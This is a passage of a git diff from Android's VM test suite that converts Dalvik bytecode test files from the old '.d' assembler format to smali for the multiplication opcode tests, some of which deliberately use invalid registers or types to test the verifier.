--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit8_5.java
-.class public dot.junit.opcodes.mul_int_lit8.d.T_mul_int_lit8_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 9
-
-       mul-int/lit8 v0, v8, 1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_5.smali
new file mode 100644
index 0000000..a7db0e0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit8_5.java"
+.class  public Ldot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit8 v0, v8, 1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_6.d
deleted file mode 100644
index bfcfcc2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit8_6.java
-.class public dot.junit.opcodes.mul_int_lit8.d.T_mul_int_lit8_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 9
-
-       mul-int/lit8 v0, v8, 127
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_6.smali
new file mode 100644
index 0000000..29cbb9d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit8_6.java"
+.class  public Ldot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit8 v0, v8, 127
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_7.d
deleted file mode 100644
index fe88ffb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_7.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit8_7.java
-.class public dot.junit.opcodes.mul_int_lit8.d.T_mul_int_lit8_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 9
-
-       mul-int/lit8 v0, v9, 12
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_7.smali
new file mode 100644
index 0000000..90046be
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_7.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit8_7.java"
+.class  public Ldot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit8 v0, v9, 12
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_8.d
deleted file mode 100644
index fc6ec8a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_8.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit8_8.java
-.class public dot.junit.opcodes.mul_int_lit8.d.T_mul_int_lit8_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 9
-
-       mul-int/lit8 v0, v7, 123
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_8.smali
new file mode 100644
index 0000000..2290b09
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_8.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit8_8.java"
+.class  public Ldot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 9
+
+       mul-int/lit8 v0, v7, 123
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_9.d
deleted file mode 100644
index 943b9ee..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_9.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit8_9.java
-.class public dot.junit.opcodes.mul_int_lit8.d.T_mul_int_lit8_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 9
-
-       mul-int/lit8 v0, v7, 123
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_9.smali
new file mode 100644
index 0000000..5484959
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_9.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit8_9.java"
+.class  public Ldot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 9
+
+       mul-int/lit8 v0, v7, 123
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_1.d
deleted file mode 100644
index de4736d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_long_1.java
-.class public dot.junit.opcodes.mul_long.d.T_mul_long_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       mul-long v0, v10, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_1.smali
new file mode 100644
index 0000000..b8a38c5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_1.java"
+.class  public Ldot/junit/opcodes/mul_long/d/T_mul_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       mul-long v0, v10, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_2.d
deleted file mode 100644
index 4e0d25c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_long_2.java
-.class public dot.junit.opcodes.mul_long.d.T_mul_long_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       mul-long v0, v12, v14
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_2.smali
new file mode 100644
index 0000000..8fdc0b3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_2.java"
+.class  public Ldot/junit/opcodes/mul_long/d/T_mul_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       mul-long v0, v12, v14
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_3.d
deleted file mode 100644
index f2faf7d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_long_3.java
-.class public dot.junit.opcodes.mul_long.d.T_mul_long_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 14
-
-       mul-long v0, v10, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_3.smali
new file mode 100644
index 0000000..95628a2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_3.java"
+.class  public Ldot/junit/opcodes/mul_long/d/T_mul_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 14
+
+       mul-long v0, v10, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_4.d
deleted file mode 100644
index bd62f75..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_long_4.java
-.class public dot.junit.opcodes.mul_long.d.T_mul_long_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 14
-
-       mul-long v0, v11, v13
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_4.smali
new file mode 100644
index 0000000..634f7c6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_4.java"
+.class  public Ldot/junit/opcodes/mul_long/d/T_mul_long_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 14
+
+       mul-long v0, v11, v13
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_5.d
deleted file mode 100644
index 3d1d09e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_long_5.java
-.class public dot.junit.opcodes.mul_long.d.T_mul_long_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FJ)J
-.limit regs 14
-
-       mul-long v0, v11, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_5.smali
new file mode 100644
index 0000000..c7ae3f8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_5.java"
+.class  public Ldot/junit/opcodes/mul_long/d/T_mul_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FJ)J
+.registers 14
+
+       mul-long v0, v11, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_6.d
deleted file mode 100644
index 656ec8c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_long_6.java
-.class public dot.junit.opcodes.mul_long.d.T_mul_long_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       mul-long v0, v9, v12
-       return-wide v9
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_6.smali
new file mode 100644
index 0000000..d479e11
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_6.java"
+.class  public Ldot/junit/opcodes/mul_long/d/T_mul_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       mul-long v0, v9, v12
+       return-wide v9
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_1.d
deleted file mode 100644
index 1175bf4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_long_2addr_1.java
-.class public dot.junit.opcodes.mul_long_2addr.d.T_mul_long_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       mul-long/2addr v10, v12
-       return-wide v10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_1.smali
new file mode 100644
index 0000000..b5bdb63
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_2addr_1.java"
+.class  public Ldot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       mul-long/2addr v10, v12
+       return-wide v10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_2.d
deleted file mode 100644
index c044257..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
